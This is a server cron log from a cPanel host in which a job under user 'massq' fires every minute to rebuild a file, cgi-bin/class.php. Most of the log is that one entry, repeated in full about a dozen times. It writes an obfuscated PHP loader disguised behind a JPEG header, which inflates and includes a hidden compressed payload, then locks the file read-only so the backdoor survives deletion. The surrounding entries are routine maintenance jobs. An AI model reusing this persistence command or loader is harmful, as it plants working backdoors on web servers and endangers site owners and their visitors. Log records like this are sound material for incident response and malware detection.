Sep  1 10:00:01 server CROND[13977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:00:01 server CROND[13987]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:00:01 server CROND[13989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:00:01 server CROND[13992]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 10:00:01 server CROND[13985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:01:01 server CROND[14851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:01:01 server CROND[14852]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 10:01:01 server CROND[14853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:01:01 server CROND[14854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:01:01 server run-parts(/etc/cron.hourly)[14852]: starting 0anacron
Sep  1 10:01:01 server run-parts(/etc/cron.hourly)[14871]: finished 0anacron
Sep  1 10:02:01 server CROND[15251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:02:01 server CROND[15258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:02:01 server CROND[15252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:03:01 server CROND[15729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:03:01 server CROND[15730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:03:01 server CROND[15731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:04:01 server CROND[16131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:04:01 server CROND[16134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:04:01 server CROND[16135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:05:01 server CROND[16518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:05:01 server CROND[16519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:05:01 server CROND[16521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:05:01 server CROND[16523]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:05:01 server CROND[16522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:05:01 server CROND[16529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:05:01 server CROND[16530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:05:01 server CROND[16528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:06:01 server CROND[17428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:06:01 server CROND[17430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:06:01 server CROND[17429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:07:01 server CROND[17834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:07:01 server CROND[17835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:07:01 server CROND[17836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:08:01 server CROND[18307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:08:01 server CROND[18308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:08:01 server CROND[18309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:09:01 server CROND[18963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:09:01 server CROND[18964]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 10:09:01 server CROND[18966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:09:01 server CROND[18965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:10:01 server CROND[19363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:10:01 server CROND[19364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:10:01 server CROND[19365]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:10:01 server CROND[19366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:10:01 server CROND[19367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:10:01 server CROND[19369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:10:01 server CROND[19368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:10:01 server CROND[19370]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:11:01 server CROND[20204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:11:01 server CROND[20205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
